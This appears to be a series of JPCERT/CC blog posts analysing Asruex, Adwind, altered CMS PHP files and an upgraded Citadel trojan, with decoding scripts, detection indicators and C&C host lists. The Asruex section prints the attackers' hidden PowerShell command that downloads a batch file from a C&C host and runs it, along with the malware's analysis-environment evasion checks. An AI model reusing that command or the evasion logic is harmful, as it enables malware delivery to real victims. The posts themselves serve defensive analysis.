For those cases that JPCERT/CC has observed, when the shortcut file is opened, a downloader is downloaded from a C&C server and then executed. The downloader then downloads Asruex from another C&C server, which is then executed. Detailed behaviour observed in each phase will be explained in the next section.

Details of the Shortcut File

When the malicious shortcut file is opened, the following PowerShell command in the file is executed.

powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile("""http://online-dropbox.com/online/a                                    """, """$env:tmp\gst.bat""")';Invoke-Expression $c&%tmp%\gst.bat "%CD%"

The above PowerShell command downloads a file from the specified URL, and it is saved as a batch file to be executed. The batch file contains the following commands, which execute PowerShell scripts (marked in red).

echo 
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUw…
chcp 65001 
cd "%tmp%" 
start winword "article_draft.docx" 
copy "article_draft.docx" "%1" 
del /f "%1\*.*.lnk" 
echo 
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMA…
"%tmp%\dwm.exe"

When the batch file is executed, a Windows executable file (a downloader) and a dummy file for display will be downloaded from a C&C server, saved in %TEMP% folder and then executed. Those decoy documents are written in Japanese, but some are also in Chinese, which implies that the target for this attack is not limited to Japanese organisations.

Details of the Downloader

When the downloader is executed, it downloads a .jpg or .gif image file. Encoded Asruex is contained in the latter part of the image file. The downloader decodes it and then executes the malware.

Figure 2: An Image File Containing Encoded Asruex
Jpgimage

Asruex contained in the image file is encoded using XOR. The following Python script is used for decoding the encoded data of the image file. The size of the encoded data is specified in the last 4 bytes of the image file.

key = 0x1D  # Keys may vary depending on the sample
for i in range(0, length):
    buf[i] = chr(ord(buf[i]) ^ key)
    key += 0x5D
    key &=0xff

The downloader may contain an encoded executable file of Process Hacker (a multi-function task manager), and it may execute the Process Hacker if an anti-virus software is detected. Anti-virus software such as by Symantec, McAfee and Kaspersky, etc., are detected based on the process names.

Details of Asruex

Asruex is a kind of malware that communicates with the C&C server over HTTP, and executes the command received through the communication. It has various anti-analysis features such as preventing the malware from running when it detects a virtual machine. Please refer to Appendix A for conditions which Asruex detects a virtual machine. The malware is also capable of detecting anti-virus software.

If Asruex does not detect a virtual machine, it executes one of the following executable files, and injects a DLL file which is contained in Asruex. In case where it detects anti-virus software, Asruex generates a DLL file and loads it to itself (but does not perform DLL injection). This DLL file contains the core functions of Asruex.

  •  sdiagnhost.exe
  •  wksprt.exe
  •  taskhost.exe
  •  dwm.exe
  •  winrshost.exe
  •  wsmprovhost.exe
  •  ctfmon.exe
  •  explorer.exe

The DLL injected, or generated and loaded, sends an HTTP request to a dummy host. If it receives a reply of status code that is 100 or greater, it connects to an actual C&C server as follows:

GET /table/list.php?a1=6fcadf059e54a19c7b96b0758a2d20a4396b85e77138dbaff3fddd04909de91
62a8910eab1141343492e90a78e75bfa7cafa3ed0a51740daa4cad36291e637074255217 –omitted- HTTP/1.1
Connection: Keep-Alive
Content-Type: text/plain; charset=utf-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Host: [host name]

Asruex operates based on the configuration information stored in itself. The configuration Information includes C&C servers and dummy hosts that it connects to, and also version information and a key to decode data which is delivered. For further details on the configuration information, please refer to Appendix B.

The configuration information is encoded. It can be decoded with the following Python code:

(config_size,) = struct.unpack("=I", data[offset:offset+4])
config_offset = offset + 4
encode_config = data[config_offset:config_offset+config_size]
i = 0
seed = config_size * 2  // It does not necessarily double
while i < config_size:
    (result, seed) = rand_with_seed(seed)
    result &= 0xff
    decode_data.append(chr(ord(encode_config[i]) ^ result))
    i += 1
decode_config =  "".join(decode_data)
(decode_size,) = struct.unpack("=I", decode_config[config_size-4:config_size])
config = lznt1_decompress(decode_config, config_size, decode_size)

Asruex executes commands that are received from a C&C server. Commands that are possibly executed are listed in Table 1. Most of the commands are used for collecting information, but some are for downloading DLL files (AdvProv.dll) from C&C servers and for executing them. AdvProv.dll is a plug-in to expand functions of Asruex.

Table 1: Commands used by Asruex
CommandFunction
1 Collect information of infected hosts
2 Obtain process list
3 Obtain file list
4 Change waiting time
5 Obtain version information
6 Uninstall
501 Obtain folder list
502 Load DLL
- Execute external DLL (AdvProv.dll)

Details of AdvProv.dll

AdvProv.dll is encrypted using XOR and 3DES. Decryption key is calculated based on the destination URL and the encoding key of the configuration information. Asruex downloads a DLL, loads it into the memory and executes DLL’s export function, Get_CommandProc. AdvProv.dll adds the following commands to Asruex:

Table 2: Asruex Commands added by AdvProv.dll
CommandFunction
101 Download
102 Copy a file
103 Change a file name
104 Change file time
105 Delete a file
106 Terminate a process
107 Search a registry
108 Show a registry entry
109 Create a registry entry
110 Show a registry entry
111 Delete a registry entry
112 Update
601 Download and execute a file

Samples of AdvProv.dll that JPCERT/CC has observed had the listed functions. However, there may be some other versions with different functions.

Summary

Asruex is a relatively new kind of malware that has been seen since around October 2015. It is likely that targeted attacks using Asruex will continue.

Hash values of artifacts demonstrated in this article are described in Appendix C. Also, destination URLs confirmed by JPCERT/CC are listed in Appendix D. It is recommended to make sure that the hosts you use are not accessing these URLs.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)


Reference

[1] Microsoft - Reverse-engineering DUBNIUM
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/

Appendix A: Conditions where Asurex detects an analysis environment

If Asruex detects itself being operated in an environment under any of the following conditions (Table A-1 to A-6), it recognises that it is an analysis environment and stops running.

Table A-1: The user matches the computer name and user name as listed.

Table A-2: Listing up the loaded modules, and if the listed functions are found to be exported.

Table A-3: The listed file names are found.

Table A-4: The listed process names are running.

Table A-5: Listing up the process modules that are running, and the module version matches the combination listed.

Table A-6: The disk name contains the listed strings.

Table A-1: Detectable Combination of Computer Name and User Name
Computer NameUser Name
BRBRB-D8FB22AF1 antonie
ANTONY-PC Antony
TEQUILABOOMBOOM janettedoe
HBXPENG makrorechner
IOAVM Administrator
XANNY Administrator
NONE-DUSEZ58JO1 Administrator
rtrtrele Administrator
HOME-OFF-D5F0AC Dave
DELL-D3E64F7E26 Administrator
JONATHAN-C561E0 Administrator
HANS HanueleBaser
IePorto Administrator

Table A-2: Detectable Functions
Functions
_SbieDll_Hook@12
_SbieApi_QueeryProcessPath@28
hook_api
New2_CreateProcessInternalW@48

Table A-3: Detectable File Names
File Names
\\.\pipe\cuckoo
[System Drive]:\cuckoo

Table A-4: Detectable Process Names
Process Names
Filemon.exe
Regmon.exe
Procmon.exe
Tcpview.exe
wireshark.exe
dumpcap.exe
regshot.exe
cports.exe
smsniff.exe
SocketSniff.exe

Table A-5: Detectable Combinations of File Version Information
FileDescriptionCompanyName
Sysinternals
SysinternalsRegistryMonitor Sysinternals
ProcessMonitor Sysinternals
TCP/UDPendpointviewer Sysinternals
Wireshark TheWiresharkdevelopercommunity
Dumpcap TheWiresharkdevelopercommunity
Regshot RegshotTeam
CurrPorts NirSoft
SmartSniff NirSoft
SocketSniff NirSoft

Table A-6: Detectable Disk Names
Disk Name
vmware
Virtual HD
MS VirtualSCSI Disk Device
Appendix B: Configuration Information
Table B-1: List of Configuration Information
OffsetLengthDescription
0x000 16 ID
0x010 4 Version Information
0x014 256 Install Path
0x114 64 * 3 Dummy URLs to connect to × 3
0x1D4 256 * 3 HTTP Access URLs × 3
0x4D4 256 Sending data store path 1
0x5D4 64 Sending data strings 1
0x614 256 Sending data store path 2
0x714 64 Sending data strings 2
0x754 64 Encode key
0x794 4 Suspension time
0x798 256 * 3 File name × 3
0xA98 4 Machine information (pointer)
0xA9C 4 Connect destination (pointer)
0xAA0 4 Not in use

Encode keys

  •  blackolive
  •  darktea
  •  12qw@#WE
Appendix C: SHA-256 Hash Value of Artifacts

Shortcut files:

  • c60a93a712d0716a04dc656a0d1ba06be5047794deaa9769a2de5d0fcf843c2a
  • ae421dd24306cbf498d4f82b650b9162689e6ef691d53006e8f733561d3442e2
  • 980cc01ec7b2bd7c1f10931822c7cfe2a04129588caece460e05dcc0bb1b6c34
  • b175567800d62dcb00212860d23742290688cce37864930850522be586efa882
  • c2e99eedf555959721ef199bf5b0ac7c68ea8205d0dff6c208adf8813411a456
  • ac63703ea1b36358d2bec54bddfef28f50c635d1c7288c2b08cceb3608c1aa27
  • 5cfc67945dd39885991131f49f6717839a3541f9ba141a7a4b463857818d01e6
  • e76c37b86602c6cc929dffe5df7b1056bff9228dde7246bf4ac98e364c99b688
  • 606e98df9a206537d35387858cff62eb763af20853ac3fa61aee8f3c280aaafe

Downloaders:

  • fdf3b42ac9fdbcabc152b200ebaae0a8275123111f25d4a68759f8b899e5bdd6
  • dd2cba1a0d54a486a39f63cbd4df6129755a84580c21e767c44c0a7b60aff600
  • d89e2cc604ac7da05feeb802ed6ec78890b1ef0a3a59a8735f5f772fc72c12ef
  • caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8
  • 8ca8067dfef13f10e657d299b517008ad7523aacf7900a1afeb0a8508a6e11d3
  • 77ca1148503def0d8e9674a37e1388e5c910da4eda9685eabe68fd0ee227b727
  • 05f241784e673f2af8a2a423fb66e783a97f123fc3d982144c39e92f191d138d
  • a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827
  • 2273236013c1ae52bfc6ea327330a4eba24cc6bc562954854ae37fe55a78310b
  • 36581a19160f2a06c617a7e555ad8ec3280692442fd81bde3d47a59aea2be09a
  • a3f1a4a5fea81a6f12ef2e5735bb845fb9599df50ffd644b25816f24c79f53b6
  • 24b587280810fba994865d27f59a01f4bbdaf29a14de50e1fc2fadac841c299e
  • 2c68cf821c4eabb70f28513c5e98fa11b1c6db6ed959f18e9104c1c882590ad2
  • 3f2168a9a51d6d6fe74273ebfc618ded3957c33511435091885fa8c5f854e11e
  • df72a289d535ccf264a04696adb573f48fe5cf27014affe65da8fd98750029db
  • eacc46f54fa8c8a8cf51368305803d949fa2625066ec634da9a41d08f2855617
  • e139a8916f99ce77dbdf57eaeac5b5ebe23367e91f96d7af59bee7e5919a7a81
  • 8a6d76bd21e70a91abb30b138c12d0f97bb4971bafa072d54ce4155bea775109
  • 35fc95ec78e2a5ca3c7a332db9ca4a5a5973607a208b9d637429fe1f5c760dd5

Asruex:

  • 8af41d303db8a975759f7b35a236eb3e9b4bd2ef65b070d19bd1076ea96fa5c4
  • a9ce1f4533aeec680a77d7532de5f6b142eb8d9aec4fdbe504c37720befe9ce3
  • 9350f7eb28f9d72698216105c51a4c5ad45323f907db9936357d6914fc992c90
  • 694de22c0b1a45c0e43caaa91486bc71a905443b482f2d22ded16b5ce3b0e738
  • 18e12feeb3fb4117ca99e152562eada2eb057c09aab8f7a424e6d889f70feb6c
  • 148a834e2717d029a4450dfa7206fd7d36c420edb95068c57766da0f61b288e8
  • d869ce2ba491713e4c3f405ad500245d883b0e7b66abeee2522e701c8493388a
  • fca19a78fc71691f3f97808624b24f00dd1f19ccadcc6e3a7e2be5b976d8937b
  • eb31f931f0e2abf340f3f95861a51e30677fd4216b2e4ee4d8570b41cb41249c
  • 7a95930aa732d24b4c62191247dcdc4cb483d8febaab4e21ca71fec8f29b1b7c

AdvProv.dll

  • f06000dceb4342630bf9195c2475fcd822dfe3910b0fa21691878071d0bb10fc

Others

  • 6d4e7d190f4d7686fd06c823389889d226ea9c8524c82c59a765bba469f2f723
  • e7d51bb718c31034b597aa67408a015729be85fc3aefcc42651c57d673a4fe5a
  • 7074a6d3ab049f507088e688c75bae581fad265ebb6da07b0efd789408116ec8
Appendix D: Hosts that Asruex connects to
  •  vodsx.net
  •  office365-file.com
  •  service365-team.com
  •  datainfocentre.com
  •  eworldmagazine.org
  •  supportservice247.com
  •  seminarinfocenter.net
  •  vdswx.net
  •  housemarket21.com
  •  product-report24.com
  •  requestpg.net
  •  secu-docu.net
  •  send-error.net
  •  send-form.net
  •  wzixx.net
  •  login-confirm.com
  •  2.gp
  •  2.ly
  •  online-dropbox.com
  •  sendspaces.net
  •  institute-secu.org
  •  pb.media-total.org
  •  response-server.com
  •  enewscenters.com
  •  sbidnest.com
  •  servicemain.com

 

May 25, 2016

Decoding Obfuscated Strings in Adwind

From the latter half of 2015 to 2016, there have been an increasing number of cyber attacks worldwide using Adwind, a Remote Access Tool [1]. JPCERT/CC also received incident reports about emails with this malware in its attachment.

Adwind is malware written in Java language, and it operates in Windows and other OS as well. It has a variety of functions: to download and execute arbitrary files, send infected machine information to C&C servers and extend functions using plug-ins.

One of the characteristics of Adwind is its frequent updates. In an extreme case, an update was released merely in a two-week interval. When investigating Adwind-related incidents, it is important to correctly examine the functions of the Adwind version in use.

The challenge is, however, the strings stored within Adwind, which count up to about 500, are artfully obfuscated, and they need to be decoded in order to analyse the malware’s function. JPCERT/CC created a tool “adwind_string_decoder.py”, which efficiently decodes such obfuscated strings. This blog article describes how this tool works.

Although Adwind has multiple generations [1], this blog article and the tool created will examine the new Adwind versions which have been used in recent attacks since the latter half of 2015.

Obfuscated strings

Most of the strings that Adwind has are obfuscated as in Figure 1. The number of such strings differs depending on the Adwind’s version, but there are about 500. These strings look totally different in each Adwind version.

Figure 1: Decompiled codes containing obfuscated strings
1_obfuscated
Figure 2: Decompiled codes in another Adwind version
2_obfuscated_old

Figure 1 and Figure 2 describe codes which correspond to the same process. Both figures have line feeds inserted and are indented so that the decompiled codes can be read easier. Figure 2 is the Adwind version which was seen in mid-August 2015 and Figure 1 in late November 2015. As previously mentioned, Adwind gets updated frequently, and furthermore, the codes are obfuscated using different keys for each version.

The red-marked sections in Figure 1 and 2 indicate part of the process for collecting information to be sent to C&C servers, and contain a process for obtaining infected usernames. However, when calling the process for collecting information, the object (which is the username) is specified in the obfuscated strings. This makes it impossible to tell from the codes that the malware intends to collect infected usernames, unless they are decoded. Furthermore, it is difficult to decode the strings since the keys used for obfuscation are scattered and different for each Adwind version (as described later).

In incident analysis, damage caused by the infection and the next attack sequence can sometimes be predicted by specifying the information sent to C&C servers. From the analysis perspectives, it is important to closely examine what kind of information the malware is targeting. For this purpose, static code analysis has to be effectively conducted, and about 500 obfuscated strings for various Adwind versions need to be quickly decoded.

Analysing the string-decoding process

Generally in stream cipher, in order to encrypt data m (with a random length), usually a pseudo-random number sequence k (with the same length as m) is created using its encryption key, and an encrypted string is generated by m XOR k. By combining the XOR for m XOR k and the pseudo-random number sequence k (which is described as (m XOR k) XOR k) using XOR operation, the string is decrypted to derive the plaintext m.

Obfuscation in Adwind is conducted in a method which is similar to the abovementioned stream cypher. However, Adwind creates k in a different method, not from an encryption key. In this article, k for Adwind is referred to as an “obfuscating key”.

Codes in Adwind contain some functions which take an obfuscated string as an argument, and returns its decoded string. These functions are referred to as Fi hereafter. One thing to note here is that Fi returns different results even for the same input, if the caller method is different. This means that, in order to do static analysis and obtain the obfuscating key corresponding to a certain string, it is necessary to understand which Fi processes the strings, as well as in which method the string exists to call for Fi. The following describes what kind of obfuscating key Fi generates to process decoding.

Fi takes its caller’s method name and class name as the basis, and generates an obfuscating key by giving them a transform process derived from the following factors. This process is repeated until it gains a certain length required for a key.

Factor 1: Which comes first when concatenating the method name and class name

Factor 2: The value used in the operation for transforming the basis string to a completely different string

All Fi consist mostly of the same codes, however, only those corresponding to the above factors have different codes in each Fi. Furthermore, Factor 2 does not exist in the code as an immediate constant, and is derived through obfuscated codes including bit-operations.

Adwind contains at least 5 varieties of Fi and about 60 methods including obfuscated strings, which means that it has a combination of about 100 obfuscating keys. Although Fi consists of relatively simple codes, this number makes it fairly difficult to remove obfuscation.

Additionally, the two factors mentioned above vary in each Adwind version. Therefore, even if we create a decoding tool for a certain version of Adwind, it cannot be applied to other versions.

On the other hand, Fi has the following characteristics in common:

- Has one argument of a string object

- Is a static function that returns a decoded string as a string object

- Contains a certain API call to obtain the caller’s information

- Has limited varieties of instructions within the function

Based on the features, JPCERT/CC created a tool to automatically decode obfuscated strings using a method which does not rely on the Adwind version as much as possible.

adwind_string_decoder.py

This tool is available on GitHub. Feel free to download for your use.

JPCERTCC/aa-tools - adwind_string_decoder.py

https://github.com/JPCERTCC/aa-tools

In order to use adwind_string_decoder.py, a disassembler, javap, is required which is included in JDK (Java Development Kit). Users are required to set a path to javap, or configure so that the environment variable JAVA_HOME is pointed to the JDK folder.

adwind_string_decoder.py basically processes in the following sequence:

  1. Open the selected jar file and call a disassembler
  2. Scan all the disassembled codes, and extract functions which seem to be decoding functions from the arguments and types
  3. Judge if it really is a decoding process from the kinds of instructions and sequences that appear in the function
  4. If it is a decoding process, derive Factor 1 and 2 to generate obfuscating keys
  5. Scan all the codes again and extract parts which call for the decoding process
  6. Derive each method name and class name, and use them as the basis for obfuscating keys
  7. Generate obfuscating keys and decode the strings

Before using adwind_string_decoder.py – Unpacking Adwind

Typically, Adwind is packed, and its main jar file is hidden in the artifact’s jar file. Since adwind_string_decoder.py does not have the function to unpack Adwind, users are required to run Adwind in an analysis environment beforehand, and extract the jar image that appears in its memory. The jar image tends to disappear easily from the memory, however, it could be easier to extract it if you set a breakpoint in the API which reads the jar file, by using a Java debugger (e.g. jdb).

Executing adwind_string_decoder.py

To decode obfuscated strings, select the unpacked jar file and output file, and execute as follows:

python adwind_string_decoder.py sample.jar output.jasm

Then it outputs disassembled codes which contain decoded strings as comments, as in Figure 3.

Figure 3: Disassembled codes with some decoded strings inserted
3_decoded_disassembly

Also, if you execute without any output files, the output of the disassembled codes will be omitted, and you can output decoded strings only to the standard output, as in Figure 4.

python adwind_string_decoder.py sample.jar
Figure 4: Output of decoded strings only
4_decoded_strings

It is also possible to scan the java codes (outputs of the decompiler), and replace the function call and argument with the decoded string. This option only supports codes in Fully Qualified Name (FQN) format. For example, you can obtain the output in Figure 6 from codes as in Figure 5. Since adwind_string_decoder.py does not have a decompiling function, you need to output a file with the decompiler and store it in a folder beforehand. After selecting that folder and a new folder for outputting the decoded file, execute as follows:

python adwind_string_decoder.py sample.jar source_folder output_folder
Figure 5: Decompiled codes before decoding
5_obfuscated_code
Figure 6: Decompiled codes after decoding
6_decoded_code

Using these decoded strings, it is easy to understand what kind of information the malware intends to collect and send to C&C servers. It is also possible to find out which OS can be infected by the malware, and how the Adwind functions may differ in each OS.

Summary

Since early February 2016, attacks using these new Adwind versions have been less and less seen. This may be good news, however, it seems that there are still new samples found at the end of February 2016. We hope that the tool we introduced here would be of your help in case if you see any new versions of Adwind.

- Kenichi Imamatsu

(Translated by Yukako Uchida)


Reference:

[1] Adwind: FAQ - Securelist

https://securelist.com/blog/research/73660/adwind-faq/

Appendix

SHA-256 Hash value of the sample

  • 033db051fc98b61dab4a290a5d802abe72930338c4a0dd4705c74eacd84578d3
  • f8f99b405c932adb0f8eb147233bfef1cf3547988be4d27efd1d6b05a8817d46

 

Apr 08, 2016

PHP Files in CMS, Targeted for Alteration

JPCERT/CC has been continuously observing cases where websites in Japan created with Content Management Systems (hereafter “CMS”) are defaced in a similar way, and the same kind of cases are also observed overseas [1], [2]. In these cases, part of the PHP files composing the CMS are altered, and this results in defacement of the website contents [3].

Based on the analysis of several cases, this entry today describes the alteration of such files composing CMS.

Altered Files

JPCERT/CC confirmed that the targeted CMS contained partially altered PHP files as components. The CMS names and altered PHP files in each are listed in Table 1.

Table 1: CMS names and altered PHP files
CMS NameAltered PHP Files
WordPress /wp-includes/nav-menu.php
/wp-admin/includes/nav-menu.php
Joomla! /includes/defines.php
/administrator/includes/defines.php
Drupal /includes/bootstrap.inc
MODX /manager/includes/protect.inc.php

Our study revealed that malicious codes were dynamically inserted into the response from the website for each access by the visitor, which was a result of the PHP file alteration.

How Altered PHP Files Insert Malicious Codes

Altered PHP files included malicious PHP codes in between “//istart” and “//iend” as in Figure 1 (we noted that malicious codes are obfuscated in some cases).

These malicious PHP codes have a function to insert codes obtained from outside. They receive malicious codes from a specific URL and insert them in a certain place.

Figure 1: Malicious PHP codes in between “//istart” and “//iend”
Pic1

Malicious Codes to be Inserted

When a visitor accesses such websites, the malicious PHP codes in the altered PHP files obtain malicious codes composed of “div” tag and JavaScript, and insert them in the response to the website visitor. The places to insert the codes differ in each CMS: right after the “body” tag in WordPress, and at the beginning of the HTML in Joomla!, Drupal and MODX.

Figure 2: Example of malicious codes to be inserted
Pic2

Malicious codes include obfuscated JavaScript, and if this is executed on the visitor’s browser, they generate tags such as iframe, etc., which redirect the visitor to the attacker’s site. Also, if the visitor’s web browser or its plug-in, etc., has certain vulnerability, their PC may be exposed to the risk of being infected with malware such as ransomware.

Summary

In such cases where malicious codes are dynamically inserted, it may be difficult for website administrators to realise that their websites are providing malicious contents. We recommend the administrators to confirm that there are no malicious PHP codes (as in Figure 1) in the PHP files described in Table 1 and others in their websites. We have not yet confirmed how these PHP files are altered, but vulnerabilities in the CMS or the plug-ins used by CMS may be leveraged for the alteration. We also recommend updating the CMS and plug-ins to the latest version.

Other than the instances introduced here, JPCERT/CC has been seeing cases where Japanese websites are defaced, and then leveraged as an entrance to the attacker’s website. We hope that each website administrator takes actions as updating the software and properly managing passwords, and be mindful that their website would not be abused for such attacks.

- Ayaka Funakoshi

(Translated by Yukako Uchida)


Reference:

[1] Sucuri Inc
WordPress Malware Causes Psuedo-Darkleech Infection
https://blog.sucuri.net/2015/03/pseudo-darkleech-server-root-infection.html

[2] DAVISEFORD.COM
DarkLeech: Finally Under Control?
http://daviseford.com/node/58

[3] JPCERT/CC
JPCERT/CC Incident Handling Report (October 1 – December 31 2015) (English)
http://www.jpcert.or.jp/english/doc/IR_Report2015Q3_en.pdf

Feb 19, 2016

Banking Trojan “Citadel” Returns

Hello again, this is You ‘Tsuru’ Nakatsuru from Analysis Center. It has been just about two years since I delivered a talk “Fight Against Citadel in Japan” at CODE BLUE 2013 (an international security conference in Tokyo) about the situation on banking trojans observed in Japan at that time and detailed analysis results on Citadel (See my blog entry here). For the presentation material and audio archive, please see Reference [1].

Since then, various kinds of efforts have been implemented against this malware. Citadel was less and less seen among incident reports to JPCERT/CC, and there had been no reports about it since the first half of 2014. However, in late November 2015, we observed an attempt to infect a host with an upgraded Citadel via Drive-by-Download attack.

In this blog article, I will discuss how this upgraded Citadel (here after tentatively named as “Citadel 101” since the version was set as 0.0.1.1) had changed from Citadel version 1.3.5.1 (hereafter “Citadel 1.3.5.1”) which I presented at CODE BLUE. I will also introduce a decryption tool for Citadel 101 created by JPCERT/CC.

Message Impersonating Brian Krebs Removed

It is widely known that Citadel 1.3.5.1 has a function which is not related to its intended behaviour: When executing with argument “-z”, the following message is displayed.

Figure 1: Dialog box displayed when executing with argument "-z"
1_krebs

This is a message impersonating Brian Krebs, a well-known security researcher of Krebs on Security. He himself actually has written an article about this (See Reference [2]). In Citadel 101, this function has been removed.

Change in Structure

There have been some slight changes in structures used within Citadel. For instance, in BinStrage (used as data format for configuration files), the size of random data at the beginning of the header had been changed from 20 bytes to 32 bytes as in Figure 2.

Figure 2: Random data (in red boxes) at the beginning of BinStrage – in Citadel 1.3.5.1 (upper) and Citadel 101 (lower)
2_binstrage

XOR Operation Added to Encryption Process

As I introduced at CODE BLUE, Citadel 1.3.5.1 encrypts files, registries and communication data, as indicated in Table 1.

Table 1: Objects that Citadel 1.3.5.1 encrypts and its methods
Encryption objectData formatEncryption method
Communication data Report Encrypted BinStrage RC4+
Dynamic Config Encrypted BinStrage AES+
Additional modules Executable files RC4+ * 2
Files Report files StrageArray AES+ using Installed Data
Module backup StrageArray AES+ using Installed Data
Registry Dynamic Config backup Encrypted BinStrage AES+ using Installed Data

Citadel 101 encrypts the same objects and uses the same encryption methods as Citadel 1.3.5.1, however, XOR operation has been added at the beginning of the encryption process and the end of the decryption process. Data retrieved through the same decryption method as Citadel 1.3.5.1 includes XOR key (key2) and encoded data (data), which are used in the XOR decoding process (shown in Figure 3).

Figure 3: XOR decoding process added to Citadel 101
3_xor

The default value of key1, which is one of the XOR keys used here, is hardcoded in Citadel itself. In the incident handling process, this value has to be newly retrieved in order to decrypt data encrypted by Citadel.

Updated Citadel Decryptor Published

Citadel Decryptor is a tool to decrypt data encrypted by Citadel, which I created and presented at CODE BLUE. This time, I expanded its feature so that it can decrypt data encrypted by Citadel 101 as well, and published it on GitHub.

JPCERTCC/aa-tools/citadel_decryptor

https://github.com/JPCERTCC/aa-tools/citadel_decryptor

Major changes are as follows:

  • Added the process to obtain encryption keys, etc., hardcoded in Citadel 101 itself
  • Added XOR decoding process at the end of decryption process

⇒In case it fails to obtain the XOR key, it judges that the version is Citadel 1.3.5.1 and does not perform XOR decoding

  • Made changes to correspond to different structures between Citadel 101 and Citadel 1.3.5.1.

There is no change in its usage. Here below is an example of using the tool to decrypt the configuration file which Citadel 101 receives from a C&C server.

> citadel_decryptor.py -v -d root.xml citadel_main.bin
[*] start to decrypt root.xml
[*] get base config & several params
[*] found base config at RVA:0x000047f0, RA:0x000047f0
[*] found login key: D8F3A28A92E53179A3EC2100B314A5CB
[*] use RC4 key at (base config + 0x000001fd)
[*] found following xor key for AES plus:
[40, 40, 84, 92, 146, 121, 93, 197, 4, 73, 90, 178, 167, 220, 62, 44]
[*] found RC4 salt: 0x5198A7FE
[*] found xor key using after Visual Decrypt: 0x5198A7FE
[*] try to unpack
[*] decrypt data using following key:
[58, 225, (snip.) 50, 247, 122, 107, 114, 177, 190, 29, 60, 230, 186, 94]
[*] try to AES+ decryption
[*] use following AES key:
[181, 55, (snip.) , 252, 170, 168, 99, 231, 208, 131, 229, 244, 121]
[*] parse decrypted data... OK
[*] decompress decrypted data
[*] wrote decrypted data to root_decrypted.bin

Way Forward

Since JPCERT/CC has only seen a small number of Citadel 101 cases so far, there has not yet been enough testing on the Citadel Decryptor. There may be some other changes that are not fully covered in this update. I would like to make improvements based on your feedbacks, including Citadel samples which cannot be decrypted with the Citadel Decryptor. Your pull request is also highly appreciated!

Thank you for reading!

- You Nakatsuru


Reference

[1] ARCHIVE || Lecture of past || CODE BLUE 2013

http://codeblue.jp/2015/en/archive/2013/#speaker-you


[2] Krebs, KrebsOnSecurity, As Malware Memes — Krebs on Security

http://krebsonsecurity.com/2013/05/krebs-krebsonsecurity-as-malware-memes/

Appendix: SHA-256 hash value

dd16014eb3fa62d483758b63b2f412017381e6d9cc03347152dff3eb9f8e6e3b